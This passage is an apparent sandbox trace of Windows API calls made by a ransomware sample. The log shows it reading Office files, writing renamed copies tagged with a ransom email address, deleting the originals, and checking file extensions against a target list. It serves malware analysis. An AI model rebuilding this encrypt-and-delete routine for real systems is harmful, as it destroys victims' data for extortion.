Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[paydra@cock.li].html")) returned 1 [0036.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.372] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfc6c | out: lpNewFilePointer=0x0) returned 1 [0036.372] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfc2c | out: lpNewFilePointer=0x0) returned 1 [0036.372] ReadFile (in: hFile=0x1b4, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2edfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x2edfc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.375] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2edfc2c | out: lpNewFilePointer=0x0) returned 1 [0036.375] ReadFile (in: hFile=0x1b4, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2edfc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x2edfc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.379] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2edfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0036.379] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2edfc2c | out: lpNewFilePointer=0x0) returned 1 [0036.379] ReadFile (in: hFile=0x1b4, lpBuffer=0x3ae0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2edfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ae0058*, lpNumberOfBytesRead=0x2edfc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.394] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.394] WriteFile (in: hFile=0x1b4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2edfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0036.616] SetEndOfFile (hFile=0x1b4) returned 1 [0037.023] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f61890 [0037.027] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfc7c | out: lpNewFilePointer=0x0) returned 1 [0037.027] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2edfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2edfc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.028] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2edfc7c | out: lpNewFilePointer=0x0) returned 1 [0037.028] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2edfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2edfc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.030] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2edfc7c | out: lpNewFilePointer=0x0) returned 1 [0037.030] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2edfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2edfc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.032] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f61890 | out: hHeap=0x4b0000) returned 1 [0037.034] CloseHandle (hObject=0x1b4) returned 1 [0037.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0037.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.325] lstrlenW (lpString=".doc") returned 4 [0037.325] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0037.326] lstrlenW (lpString=".docx") returned 5 [0037.326] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0037.326] lstrlenW (lpString=".pdf") returned 4 [0037.326] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0037.326] lstrlenW (lpString=".xls") returned 4 [0037.326] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0037.326] lstrlenW (lpString=".xlsx") returned 5 [0037.326] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0037.326] lstrlenW (lpString=".ppt") returned 4 [0037.326] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0037.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.326] lstrlenW (lpString=".zip") returned 4 [0037.326] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0037.326] lstrlenW (lpString=".rar") returned 4 [0037.326] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0037.326] lstrlenW (lpString=".bz2") returned 4 [0037.326] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0037.326] lstrlenW (lpString=".7z") returned 3 [0037.326] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0037.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.326] lstrlenW (lpString=".dbf") returned 4 [0037.326] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0037.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.326] lstrlenW (lpString=".1cd") returned 4 [0037.326] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0037.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.326] lstrlenW (lpString=".jpg") returned 4 [0037.326] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0037.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.326] lstrlenW (lpString=".doc") returned 4 [0037.326] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0037.326] lstrlenW (lpString=".docx") returned 5 [0037.326] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0037.326] lstrlenW (lpString=".pdf") returned 4 [0037.327] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0037.327] lstrlenW (lpString=".xls") returned 4 [0037.327] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0037.327] lstrlenW (lpString=".xlsx") returned 5 [0037.327] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0037.327] lstrlenW (lpString=".ppt") returned 4 [0037.327] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0037.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.327] lstrlenW (lpString=".zip") returned 4 [0037.327] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0037.327] lstrlenW (lpString=".rar") returned 4 [0037.327] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0037.327] lstrlenW (lpString=".bz2") returned 4 [0037.327] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0037.327] lstrlenW (lpString=".7z") returned 3 [0037.327] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0037.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.327] lstrlenW (lpString=".dbf") returned 4 [0037.327] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0037.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.327] lstrlenW (lpString=".1cd") returned 4 [0037.327] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0037.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.327] lstrlenW (lpString=".jpg") returned 4 [0037.327] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0037.583] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0037.583] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0037.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.565] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=819) returned 1 [0038.565] CloseHandle (hObject=0x1cc) returned 1 [0038.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0038.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0038.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.565] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.565] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0038.566] GetLastError () returned 0x0 [0038.566] ReadFile (in: hFile=0x1cc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x333, lpOverlapped=0x0) returned 1 [0038.984] WriteFile (in: hFile=0x1d0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x340, lpOverlapped=0x0) returned 1 [0038.985] ReadFile (in: hFile=0x1cc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0038.985] WriteFile (in: hFile=0x1d0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0038.985] SetEndOfFile (hFile=0x1d0) returned 1 [0039.676] CloseHandle (hObject=0x1d0) returned 1 [0039.677] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.677] SetEndOfFile (hFile=0x1cc) returned 1 [0039.677] CloseHandle (hObject=0x1cc) returned 1 [0039.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0039.678] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0040.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0040.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0040.033] lstrlenW (lpString=".doc") returned 4 [0040.033] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.033] lstrlenW (lpString=".docx") returned 5 [0040.033] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0040.033] lstrlenW (lpString=".pdf") returned 4 [0040.033] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.033] lstrlenW (lpString=".xls") returned 4 [0040.033] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.033] lstrlenW (lpString=".xlsx") returned 5 [0040.033] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0040.033] lstrlenW (lpString=".ppt") returned 4 [0040.033] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0040.033] lstrlenW (lpString=".zip") returned 4 [0040.033] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.033] lstrlenW (lpString=".rar") returned 4 [0040.033] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.033] lstrlenW (lpString=".bz2") returned 4 [0040.033] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.033] lstrlenW (lpString=".7z") returned 3 [0040.033] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0040.033] lstrlenW (lpString=".dbf") returned 4 [0040.033] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0040.033] lstrlenW (lpString=".1cd") returned 4 [0040.033] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0040.033] lstrlenW (lpString=".jpg") returned 4 [0040.033] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0040.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0040.033] lstrlenW (lpString=".doc") returned 4 [0040.033] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.033] lstrlenW (lpString=".docx") returned 5 [0040.034] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0040.034] lstrlenW (lpString=".pdf") returned 4 [0040.034] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.034] lstrlenW (lpString=".xls") returned 4 [0040.034] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.034] lstrlenW (lpString=".xlsx") returned 5 [0040.034] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0040.034] lstrlenW (lpString=".ppt") returned 4 [0040.034] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0040.034] lstrlenW (lpString=".zip") returned 4 [0040.034] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.034] lstrlenW (lpString=".rar") returned 4 [0040.034] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.034] lstrlenW (lpString=".bz2") returned 4 [0040.034] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.034] lstrlenW (lpString=".7z") returned 3 [0040.034] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0040.034] lstrlenW (lpString=".dbf") returned 4 [0040.034] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0040.034] lstrlenW (lpString=".1cd") returned 4 [0040.034] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0040.034] lstrlenW (lpString=".jpg") returned 4 [0040.034] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.034] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.034] lstrlenW (lpString="SETUP.XML") returned 9 [0040.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0040.778] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1988) returned 1 [0040.778] CloseHandle (hObject=0x198) returned 1 [0040.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0040.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0040.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0040.779] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.779] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0040.857] GetLastError () returned 0x0 [0040.857] ReadFile (in: hFile=0x198, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x7c4, lpOverlapped=0x0) returned 1 [0040.964] WriteFile (in: hFile=0x188, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0040.964] ReadFile (in: hFile=0x198, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0040.964] WriteFile (in: hFile=0x188, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.965] SetEndOfFile (hFile=0x188) returned 1 [0040.965] CloseHandle (hObject=0x188) returned 1 [0040.966] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.966] SetEndOfFile (hFile=0x198) returned 1 [0040.966] CloseHandle (hObject=0x198) returned 1 [0040.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0040.967] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0040.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0040.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0040.967] lstrlenW (lpString=".doc") returned 4 [0040.967] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.967] lstrlenW (lpString=".docx") returned 5 [0040.967] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.967] lstrlenW (lpString=".pdf") returned 4 [0040.967] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.967] lstrlenW (lpString=".xls") returned 4 [0040.967] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.967] lstrlenW (lpString=".xlsx") returned 5 [0040.967] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.967] lstrlenW (lpString=".ppt") returned 4 [0040.967] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0040.967] lstrlenW (lpString=".zip") returned 4 [0040.967] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.967] lstrlenW (lpString=".rar") returned 4 [0040.967] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.967] lstrlenW (lpString=".bz2") returned 4 [0040.967] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.967] lstrlenW (lpString=".7z") returned 3 [0040.967] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0040.968] lstrlenW (lpString=".dbf") returned 4 [0040.968] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0040.968] lstrlenW (lpString=".1cd") returned 4 [0040.968] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0040.968] lstrlenW (lpString=".jpg") returned 4 [0040.968] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0040.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0040.968] lstrlenW (lpString=".doc") returned 4 [0040.968] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.968] lstrlenW (lpString=".docx") returned 5 [0040.968] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.968] lstrlenW (lpString=".pdf") returned 4 [0040.968] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.968] lstrlenW (lpString=".xls") returned 4 [0040.968] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.968] lstrlenW (lpString=".xlsx") returned 5 [0040.968] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.968] lstrlenW (lpString=".ppt") returned 4 [0040.968] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0040.968] lstrlenW (lpString=".zip") returned 4 [0040.968] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.968] lstrlenW (lpString=".rar") returned 4 [0040.968] lstrcmpiW 